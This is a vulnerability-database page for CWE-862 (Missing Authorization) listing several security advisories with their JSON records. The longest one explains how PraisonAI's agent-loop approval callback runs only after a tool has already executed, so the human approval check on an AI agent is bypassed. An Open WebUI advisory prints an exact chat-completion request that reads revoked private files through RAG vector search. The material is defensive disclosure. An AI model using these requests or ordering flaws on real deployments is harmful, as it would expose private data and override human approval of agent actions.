Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14642 vulnerabilities reference this CWE, most recent first.

GHSA-H2W2-V7J6-XQM4

Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-06-18 14:26
VLAI
Summary
npm PraisonAI AgentLoop onToolCall approval runs after tool execution
Details

Summary

The published npm package praisonai exports createAgentLoop(), whose onToolCall callback is documented and exampled as an approval hook. The implementation calls PraisonAI's generateText() wrapper with the caller's executable tools first, receives toolResults, and only then calls onToolCall().

Because AI SDK generateText() executes tools with an execute function as part of the generation call, onToolCall can deny a tool only after the sensitive side effect has already happened. PraisonAI then returns finishReason: "tool_rejected", which is a false security signal: the rejected tool already ran.

The PoV is deterministic and local-only. It uses mock AI SDK modules, no live model call, no API key, and no network target. The tool increments an in-memory counter rather than touching the filesystem or executing commands.

Technical Details

In src/praisonai-ts/src/ai/agent-loop.ts, the public config says:

/** On tool call callback (for approval) */
onToolCall?: (toolCall: ToolCallInfo) => Promise<boolean>;

The inline approval example also asks a user for approval and returns the decision:

onToolCall: async (toolCall) => {
  const approved = await askUserForApproval(toolCall);
  return approved;
}

However, AgentLoop.step() calls generateText() with the executable tools before invoking onToolCall:

const result = await generateText({
  model: this.config.model,
  messages: this.messages as any,
  tools: this.config.tools,
  maxSteps: 1,
});

It then materializes toolResults:

toolResults: result.toolResults.map(tr => ({
  toolCallId: tr.toolCallId,
  toolName: tr.toolName,
  result: tr.result,
})),

Only afterward does the approval callback run:

if (this.config.onToolCall) {
  for (const toolCall of step.toolCalls) {
    const approved = await this.config.onToolCall(toolCall);
    if (!approved) {
      this.complete = true;
      step.finishReason = 'tool_rejected';
      break;
    }
  }
}

src/praisonai-ts/src/ai/generate-text.ts forwards the caller's tools directly to AI SDK:

const result = await sdk.generateText({
  model,
  ...
  tools: options.tools,
  maxSteps: options.maxSteps,
  ...
});

AI SDK documents that generateText() "generates text and calls tools", and that tools with an execute function run automatically unless approval is handled before execution with needsApproval.

The published npm:praisonai@1.7.1 dist files preserve the same order:

  • dist/ai/agent-loop.js lines 150-157 call generateText() with executable tools.
  • lines 162-171 materialize toolResults.
  • lines 183-195 call onToolCall() and set tool_rejected afterward.

Why This Is Not Intended Behavior

This is not a trust-model-only issue. PraisonAI explicitly labels onToolCall as an approval callback and shows an approval example. A user who returns false from that callback expects the tool not to run.

It also conflicts with the AI SDK execution model PraisonAI wraps:

  • AI SDK generateText() executes tools that include an execute function.
  • AI SDK approval is a pre-execution boundary (needsApproval), not a post-execution notification.
  • AI SDK loop control documentation treats "a tool call needs approval" as a condition that stops or pauses the loop before executing the tool.

PraisonAI's current behavior instead creates a post-execution audit hook while naming and documenting it as approval.

PoV

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Expected output includes:

{
  "praisonaiVersion": "1.7.1",
  "createAgentLoopExported": true,
  "eventOrder": ["tool-executed", "approval-denied"],
  "sideEffects": 1,
  "finishReason": "tool_rejected",
  "toolCallCount": 1,
  "toolResultCount": 1,
  "rejectedAfterExecution": true,
  "vulnerable": true,
  "patchedControl": {
    "order": ["approval-denied"],
    "sideEffects": 0,
    "toolCallCount": 1,
    "toolResultCount": 0,
    "blocksBeforeExecution": true
  }
}

The PoV installs npm:praisonai@1.7.1 into a temporary project and supplies mock ai and @ai-sdk/openai modules. The mocked generateText() returns one tool-call intent and executes a supplied execute handler if present. This keeps the proof deterministic and isolates PraisonAI's ordering bug.

The vulnerable run uses createAgentLoop() with:

  • a dangerousWrite tool whose execute() handler increments an in-memory side-effect counter and records tool-executed;
  • an onToolCall approval callback that always returns false and records approval-denied.

The observed order is:

tool-executed > approval-denied

That proves denial happens after execution. The toolResults array contains the tool's result even though PraisonAI reports finishReason: "tool_rejected".

The patched-control comparison strips executable handlers before the model step, requests approval on the tool-call intent, and only executes if approval succeeds. With the same denial decision, the control output is:

approval-denied
sideEffects = 0
toolResultCount = 0

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

Any application using npm PraisonAI createAgentLoop() with onToolCall as a human-in-the-loop or policy approval boundary can execute denied tools.

If the application exposes the agent loop to lower-trust prompts or users and registers powerful tools, an attacker can cause the model to call a tool that the approval callback denies. The denial occurs too late. Depending on the registered tool, impact can include file modification, command execution, external API calls, data mutation, credential use, or other side effects with the privileges of the PraisonAI process.

The report does not claim that npm PraisonAI exposes this as a default network service. It is a library-level approval-boundary bypass in the exported TypeScript agent-loop API.

Severity

Suggested severity: High.

Rationale:

  • AV: common deployment pattern is an application exposing agent prompts over a network.
  • AC: attacker only needs to induce a tool call.
  • PR: conservative base score assumes the attacker can submit prompts to the application.
  • UI: no additional operator action is needed for the tool to execute before denial; even a denial callback is too late.
  • S: impact is in the PraisonAI-hosting application process.
  • C/I/A: depends on registered tools; shell/file/API tools can affect confidentiality, integrity, and availability.

If maintainers score only local scripts that process untrusted repositories or prompts, AV:L may be reasonable. If they score public unauthenticated prompt endpoints built on this API, PR:N may be reasonable.

Suggested Fix

Do not pass executable tool handlers into generateText() before approval.

One safe shape:

  1. Convert configured tools into intent-only tool definitions without execute.
  2. Call generateText() to obtain the model's tool-call intent.
  3. Invoke onToolCall(toolCall) before any side effect.
  4. Execute the selected tool only if approval returns true.
  5. Append approved tool results to the conversation and continue the loop.

Alternatively, if PraisonAI wants to delegate approval to AI SDK v6, translate onToolCall into per-tool needsApproval semantics so AI SDK pauses before calling execute.

Regression tests should include:

  • onToolCall returns false and the tool execute() counter remains zero;
  • onToolCall returns true and the tool executes exactly once;
  • tool_rejected is never reported together with a tool result produced by the denied tool;
  • streaming and non-streaming loop variants use the same approval ordering if added later.

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Package: npm:praisonai
  • Component: TypeScript AgentLoop
  • Current head validated: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e
  • Current tag validated: v4.6.58
  • Latest npm package validated: 1.7.1

Suggested affected range:

npm:praisonai >= 1.4.0, <= 1.7.1

Selected version sweep:

  • 1.0.0: package main cannot be required in the selected test environment.
  • 1.2.0: createAgentLoop is not exported.
  • 1.3.6: createAgentLoop is not exported.
  • 1.4.0: vulnerable.
  • 1.5.0: vulnerable.
  • 1.5.4: vulnerable.
  • 1.6.0: vulnerable.
  • 1.7.0: vulnerable.
  • 1.7.1: vulnerable.

Advisory History

This is distinct from known and previously submitted PraisonAI issues:

  • GHSA-ffp3-3562-8cv3 covers Python praisonaiagents approval cache keyed by tool name rather than invocation arguments.
  • GHSA-qwgj-rrpj-75xm covers Python Chainlit UI overriding configured approval mode with auto.
  • GHSA-63v4-w882-g4x2 / poc covers Python HTTPApproval approval-page XSS.
  • poc covers npm TypeScript AgentOS missing authentication.
  • poc covers npm TypeScript codeMode sandbox escape.
  • poc covers npm TypeScript MCPServer missing authentication.

No visible local or GitHub advisory covers npm TypeScript AgentLoop.onToolCall executing after tool results already exist.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:26:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` exports `createAgentLoop()`, whose `onToolCall` callback is documented and exampled as an approval hook. The implementation calls PraisonAI\u0027s `generateText()` wrapper with the caller\u0027s executable tools first, receives `toolResults`, and only then calls `onToolCall()`.\n\nBecause AI SDK `generateText()` executes tools with an `execute` function as part of the generation call, `onToolCall` can deny a tool only after the sensitive side effect has already happened. PraisonAI then returns `finishReason: \"tool_rejected\"`, which is a false security signal: the rejected tool already ran.\n\nThe PoV is deterministic and local-only. It uses mock AI SDK modules, no live model call, no API key, and no network target. The tool increments an in-memory counter rather than touching the filesystem or executing commands.\n\n## Technical Details\n\nIn `src/praisonai-ts/src/ai/agent-loop.ts`, the public config says:\n\n```ts\n/** On tool call callback (for approval) */\nonToolCall?: (toolCall: ToolCallInfo) =\u003e Promise\u003cboolean\u003e;\n```\n\nThe inline approval example also asks a user for approval and returns the decision:\n\n```ts\nonToolCall: async (toolCall) =\u003e {\n  const approved = await askUserForApproval(toolCall);\n  return approved;\n}\n```\n\nHowever, `AgentLoop.step()` calls `generateText()` with the executable tools before invoking `onToolCall`:\n\n```ts\nconst result = await generateText({\n  model: this.config.model,\n  messages: this.messages as any,\n  tools: this.config.tools,\n  maxSteps: 1,\n});\n```\n\nIt then materializes `toolResults`:\n\n```ts\ntoolResults: result.toolResults.map(tr =\u003e ({\n  toolCallId: tr.toolCallId,\n  toolName: tr.toolName,\n  result: tr.result,\n})),\n```\n\nOnly afterward does the approval callback run:\n\n```ts\nif (this.config.onToolCall) {\n  for (const toolCall of step.toolCalls) {\n    const approved = await this.config.onToolCall(toolCall);\n    if (!approved) {\n      this.complete = true;\n      step.finishReason = \u0027tool_rejected\u0027;\n      break;\n    }\n  }\n}\n```\n\n`src/praisonai-ts/src/ai/generate-text.ts` forwards the caller\u0027s tools directly to AI SDK:\n\n```ts\nconst result = await sdk.generateText({\n  model,\n  ...\n  tools: options.tools,\n  maxSteps: options.maxSteps,\n  ...\n});\n```\n\nAI SDK documents that `generateText()` \"generates text and calls tools\", and that tools with an `execute` function run automatically unless approval is handled before execution with `needsApproval`.\n\nThe published `npm:praisonai@1.7.1` dist files preserve the same order:\n\n- `dist/ai/agent-loop.js` lines 150-157 call `generateText()` with executable tools.\n- lines 162-171 materialize `toolResults`.\n- lines 183-195 call `onToolCall()` and set `tool_rejected` afterward.\n\n### Why This Is Not Intended Behavior\n\nThis is not a trust-model-only issue. PraisonAI explicitly labels `onToolCall` as an approval callback and shows an approval example. A user who returns `false` from that callback expects the tool not to run.\n\nIt also conflicts with the AI SDK execution model PraisonAI wraps:\n\n- AI SDK `generateText()` executes tools that include an `execute` function.\n- AI SDK approval is a pre-execution boundary (`needsApproval`), not a post-execution notification.\n- AI SDK loop control documentation treats \"a tool call needs approval\" as a condition that stops or pauses the loop before executing the tool.\n\nPraisonAI\u0027s current behavior instead creates a post-execution audit hook while naming and documenting it as approval.\n\n## PoV\n\nRun from a local reproduction checkout:\n\n```bash\nnode poc/pov_poc.js 1.7.1\n```\n\nExpected output includes:\n\n```json\n{\n  \"praisonaiVersion\": \"1.7.1\",\n  \"createAgentLoopExported\": true,\n  \"eventOrder\": [\"tool-executed\", \"approval-denied\"],\n  \"sideEffects\": 1,\n  \"finishReason\": \"tool_rejected\",\n  \"toolCallCount\": 1,\n  \"toolResultCount\": 1,\n  \"rejectedAfterExecution\": true,\n  \"vulnerable\": true,\n  \"patchedControl\": {\n    \"order\": [\"approval-denied\"],\n    \"sideEffects\": 0,\n    \"toolCallCount\": 1,\n    \"toolResultCount\": 0,\n    \"blocksBeforeExecution\": true\n  }\n}\n```\n\nThe PoV installs `npm:praisonai@1.7.1` into a temporary project and supplies mock `ai` and `@ai-sdk/openai` modules. The mocked `generateText()` returns one tool-call intent and executes a supplied `execute` handler if present. This keeps the proof deterministic and isolates PraisonAI\u0027s ordering bug.\n\nThe vulnerable run uses `createAgentLoop()` with:\n\n- a `dangerousWrite` tool whose `execute()` handler increments an in-memory side-effect counter and records `tool-executed`;\n- an `onToolCall` approval callback that always returns `false` and records `approval-denied`.\n\nThe observed order is:\n\n```text\ntool-executed \u003e approval-denied\n```\n\nThat proves denial happens after execution. The `toolResults` array contains the tool\u0027s result even though PraisonAI reports `finishReason: \"tool_rejected\"`.\n\nThe patched-control comparison strips executable handlers before the model step, requests approval on the tool-call intent, and only executes if approval succeeds. With the same denial decision, the control output is:\n\n```text\napproval-denied\nsideEffects = 0\ntoolResultCount = 0\n```\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAny application using npm PraisonAI `createAgentLoop()` with `onToolCall` as a human-in-the-loop or policy approval boundary can execute denied tools.\n\nIf the application exposes the agent loop to lower-trust prompts or users and registers powerful tools, an attacker can cause the model to call a tool that the approval callback denies. The denial occurs too late. Depending on the registered tool, impact can include file modification, command execution, external API calls, data mutation, credential use, or other side effects with the privileges of the PraisonAI process.\n\nThe report does not claim that npm PraisonAI exposes this as a default network service. It is a library-level approval-boundary bypass in the exported TypeScript agent-loop API.\n\n### Severity\n\nSuggested severity: High.\n\nRationale:\n\n- `AV`: common deployment pattern is an application exposing agent prompts over a network.\n- `AC`: attacker only needs to induce a tool call.\n- `PR`: conservative base score assumes the attacker can submit prompts to the application.\n- `UI`: no additional operator action is needed for the tool to execute before denial; even a denial callback is too late.\n- `S`: impact is in the PraisonAI-hosting application process.\n- `C/I/A`: depends on registered tools; shell/file/API tools can affect confidentiality, integrity, and availability.\n\nIf maintainers score only local scripts that process untrusted repositories or prompts, `AV:L` may be reasonable. If they score public unauthenticated prompt endpoints built on this API, `PR:N` may be reasonable.\n\n## Suggested Fix\n\nDo not pass executable tool handlers into `generateText()` before approval.\n\nOne safe shape:\n\n1. Convert configured tools into intent-only tool definitions without `execute`.\n2. Call `generateText()` to obtain the model\u0027s tool-call intent.\n3. Invoke `onToolCall(toolCall)` before any side effect.\n4. Execute the selected tool only if approval returns true.\n5. Append approved tool results to the conversation and continue the loop.\n\nAlternatively, if PraisonAI wants to delegate approval to AI SDK v6, translate `onToolCall` into per-tool `needsApproval` semantics so AI SDK pauses before calling `execute`.\n\nRegression tests should include:\n\n- `onToolCall` returns false and the tool `execute()` counter remains zero;\n- `onToolCall` returns true and the tool executes exactly once;\n- `tool_rejected` is never reported together with a tool result produced by the denied tool;\n- streaming and non-streaming loop variants use the same approval ordering if added later.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `npm:praisonai`\n- Component: TypeScript `AgentLoop`\n- Current head validated: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- Current tag validated: `v4.6.58`\n- Latest npm package validated: `1.7.1`\n\nSuggested affected range:\n\n```text\nnpm:praisonai \u003e= 1.4.0, \u003c= 1.7.1\n```\n\nSelected version sweep:\n\n- `1.0.0`: package main cannot be required in the selected test environment.\n- `1.2.0`: `createAgentLoop` is not exported.\n- `1.3.6`: `createAgentLoop` is not exported.\n- `1.4.0`: vulnerable.\n- `1.5.0`: vulnerable.\n- `1.5.4`: vulnerable.\n- `1.6.0`: vulnerable.\n- `1.7.0`: vulnerable.\n- `1.7.1`: vulnerable.\n\n## Advisory History\n\nThis is distinct from known and previously submitted PraisonAI issues:\n\n- `GHSA-ffp3-3562-8cv3` covers Python `praisonaiagents` approval cache keyed by tool name rather than invocation arguments.\n- `GHSA-qwgj-rrpj-75xm` covers Python Chainlit UI overriding configured approval mode with `auto`.\n- `GHSA-63v4-w882-g4x2` / poc covers Python `HTTPApproval` approval-page XSS.\n- poc covers npm TypeScript `AgentOS` missing authentication.\n- poc covers npm TypeScript `codeMode` sandbox escape.\n- poc covers npm TypeScript `MCPServer` missing authentication.\n\nNo visible local or GitHub advisory covers npm TypeScript `AgentLoop.onToolCall` executing after tool results already exist.",
  "id": "GHSA-h2w2-v7j6-xqm4",
  "modified": "2026-06-18T14:26:51Z",
  "published": "2026-06-18T14:26:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h2w2-v7j6-xqm4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI AgentLoop onToolCall approval runs after tool execution"
}

GHSA-H2X8-6H3C-4JP7

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

A privilege escalation vulnerability exists in the WinRing0x64 Driver IRP 0x9c402088 functionality of NZXT CAM 4.8.0. A specially crafted I/O request packet (IRP) can cause increased privileges. An attacker can send a malicious IRP to trigger this vulnerability.

Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-13519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-18T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A privilege escalation vulnerability exists in the WinRing0x64 Driver IRP 0x9c402088 functionality of NZXT CAM 4.8.0. A specially crafted I/O request packet (IRP) can cause increased privileges. An attacker can send a malicious IRP to trigger this vulnerability.",
  "id": "GHSA-h2x8-6h3c-4jp7",
  "modified": "2022-05-24T17:36:50Z",
  "published": "2022-05-24T17:36:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13519"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1116"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H336-2WXM-PR6Q

Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-08 19:33
VLAI
Summary
OpenViking contains a missing authorization vulnerability in the task polling endpoints
Details

OpenViking versions prior to 0.3.3 contain a missing authorization vulnerability in the task polling endpoints that allows unauthorized attackers to enumerate or retrieve background task metadata created by other users. Attackers can access the /api/v1/tasks and /api/v1/tasks/{task_id} routes without authentication to expose task type, task status, resource identifiers, archive URIs, result payloads, and error information, potentially causing cross-tenant interference in multi-tenant deployments.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenViking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:33:51Z",
    "nvd_published_at": "2026-04-07T18:16:38Z",
    "severity": "MODERATE"
  },
  "details": "OpenViking versions prior to 0.3.3 contain a missing authorization vulnerability in the task polling endpoints that allows unauthorized attackers to enumerate or retrieve background task metadata created by other users. Attackers can access the /api/v1/tasks and /api/v1/tasks/{task_id} routes without authentication to expose task type, task status, resource identifiers, archive URIs, result payloads, and error information, potentially causing cross-tenant interference in multi-tenant deployments.",
  "id": "GHSA-h336-2wxm-pr6q",
  "modified": "2026-04-08T19:33:51Z",
  "published": "2026-04-07T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/commit/8c1c3f3608364ee0bb0e45f73478771a68aebdf5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/volcengine/OpenViking"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/releases/tag/v0.3.3"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openviking-missing-authorization-via-task-polling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenViking contains a missing authorization vulnerability in the task polling endpoints"
}

GHSA-H35H-MV3V-626V

Vulnerability from github – Published: 2025-04-30 18:31 – Updated: 2025-04-30 18:31
VLAI
Details

Missing authorization in Azure Virtual Desktop allows an authorized attacker to elevate privileges over a network.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-30T18:15:38Z",
    "severity": "HIGH"
  },
  "details": "Missing authorization in Azure Virtual Desktop allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-h35h-mv3v-626v",
  "modified": "2025-04-30T18:31:55Z",
  "published": "2025-04-30T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21416"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21416"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H363-HGM3-PXR6

Vulnerability from github – Published: 2025-02-14 15:31 – Updated: 2026-04-01 18:33
VLAI
Details

Missing Authorization vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Suite by Online ADA: from n/a through 4.16.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-22698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T13:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Suite by Online ADA: from n/a through 4.16.",
  "id": "GHSA-h363-hgm3-pxr6",
  "modified": "2026-04-01T18:33:37Z",
  "published": "2025-02-14T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22698"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/online-accessibility/vulnerability/wordpress-accessibility-suite-by-ability-inc-plugin-4-16-multiple-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H36F-RQPX-J5WX

Vulnerability from github – Published: 2026-05-08 20:03 – Updated: 2026-05-15 23:53
VLAI
Summary
Open WebUI has Unauthorized File and Knowledge Base Content Access via RAG Vector Search
Details

Unauthorized File and Knowledge Base Content Access via RAG Vector Search

Affected Component

RAG source resolution in chat completion pipeline: - backend/open_webui/retrieval/utils.py (lines 963-965, 1063-1068, 1126-1131 in get_sources_from_items)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with RAG functionality.

Description

The get_sources_from_items function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to.

Path Lines Access Check
type: "file", full-context 1044-1050 ✅ has_access_to_file
type: "file", non-full-context (default) 1063-1068 ❌ None
type: "collection" 1070-1118 ✅ Present
type: "text" with collection_name 963-965 ❌ None
Bare collection_name/collection_names 1126-1131 ❌ None

The three unprotected paths pass user-supplied collection names directly to query_collection(), which queries the vector store without any authorization. Collection names follow predictable formats: file-<file_id> for files and the knowledge base UUID for knowledge bases.

CVSS 3.1 Breakdown

Metric Value Rationale
Attack Vector Network (N) Exploited remotely via chat completion API
Attack Complexity Low (L) Single API call with a known resource ID
Privileges Required Low (L) Requires a valid user account
User Interaction None (N) No victim interaction required
Scope Unchanged (U) Impact within the application's data boundary
Confidentiality High (H) Full content of private files/knowledge bases extractable
Integrity None (N) No data modification
Availability None (N) No denial of service

Attack Scenario

  1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection file-<file_id>).
  2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction.
  3. User A later revokes User B's access to the file.
  4. User B sends a chat completion request referencing the revoked file: json POST /api/chat/completions { "model": "any-accessible-model", "messages": [{"role": "user", "content": "What does this document say about pricing?"}], "files": [{"type": "file", "id": "<revoked_file_id>"}] }
  5. The non-full-context path (default) constructs collection name file-<id> and queries the vector store with no access check.
  6. Matching chunks are injected into the LLM context, and the response contains the victim's private file content.

The same attack works via {"type": "text", "collection_name": "<knowledge_base_id>"} for knowledge bases.

Impact

  • Access revocation is ineffective for RAG content — users who previously had access can continue extracting file and knowledge base content indefinitely
  • Private document content can be systematically extracted through targeted queries
  • Breaks the access control model for files and knowledge bases at the RAG layer

Preconditions

  • Attacker must know the file ID or knowledge base ID (UUID) of the target resource
  • The target file/knowledge base must have been processed into the vector store
  • Attacker must have a valid user account
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:03:09Z",
    "nvd_published_at": "2026-05-15T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "# Unauthorized File and Knowledge Base Content Access via RAG Vector Search\n\n## Affected Component\n\nRAG source resolution in chat completion pipeline:\n- `backend/open_webui/retrieval/utils.py` (lines 963-965, 1063-1068, 1126-1131 in `get_sources_from_items`)\n\n## Affected Versions\n\nCurrent main branch (commit `6fdd19bf1`) and likely all versions with RAG functionality.\n\n## Description\n\nThe `get_sources_from_items` function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to.\n\n| Path | Lines | Access Check |\n|------|-------|-------------|\n| `type: \"file\"`, full-context | 1044-1050 | \u2705 `has_access_to_file` |\n| `type: \"file\"`, non-full-context (default) | 1063-1068 | \u274c None |\n| `type: \"collection\"` | 1070-1118 | \u2705 Present |\n| `type: \"text\"` with `collection_name` | 963-965 | \u274c None |\n| Bare `collection_name`/`collection_names` | 1126-1131 | \u274c None |\n\nThe three unprotected paths pass user-supplied collection names directly to `query_collection()`, which queries the vector store without any authorization. Collection names follow predictable formats: `file-\u003cfile_id\u003e` for files and the knowledge base UUID for knowledge bases.\n\n## CVSS 3.1 Breakdown\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network (N) | Exploited remotely via chat completion API |\n| Attack Complexity | Low (L) | Single API call with a known resource ID |\n| Privileges Required | Low (L) | Requires a valid user account |\n| User Interaction | None (N) | No victim interaction required |\n| Scope | Unchanged (U) | Impact within the application\u0027s data boundary |\n| Confidentiality | High (H) | Full content of private files/knowledge bases extractable |\n| Integrity | None (N) | No data modification |\n| Availability | None (N) | No denial of service |\n\n## Attack Scenario\n\n1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection `file-\u003cfile_id\u003e`).\n2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction.\n3. User A later revokes User B\u0027s access to the file.\n4. User B sends a chat completion request referencing the revoked file:\n   ```json\n   POST /api/chat/completions\n   {\n     \"model\": \"any-accessible-model\",\n     \"messages\": [{\"role\": \"user\", \"content\": \"What does this document say about pricing?\"}],\n     \"files\": [{\"type\": \"file\", \"id\": \"\u003crevoked_file_id\u003e\"}]\n   }\n   ```\n5. The non-full-context path (default) constructs collection name `file-\u003cid\u003e` and queries the vector store with no access check.\n6. Matching chunks are injected into the LLM context, and the response contains the victim\u0027s private file content.\n\nThe same attack works via `{\"type\": \"text\", \"collection_name\": \"\u003cknowledge_base_id\u003e\"}` for knowledge bases.\n\n## Impact\n\n- Access revocation is ineffective for RAG content \u2014 users who previously had access can continue extracting file and knowledge base content indefinitely\n- Private document content can be systematically extracted through targeted queries\n- Breaks the access control model for files and knowledge bases at the RAG layer\n\n## Preconditions\n\n- Attacker must know the file ID or knowledge base ID (UUID) of the target resource\n- The target file/knowledge base must have been processed into the vector store\n- Attacker must have a valid user account",
  "id": "GHSA-h36f-rqpx-j5wx",
  "modified": "2026-05-15T23:53:30Z",
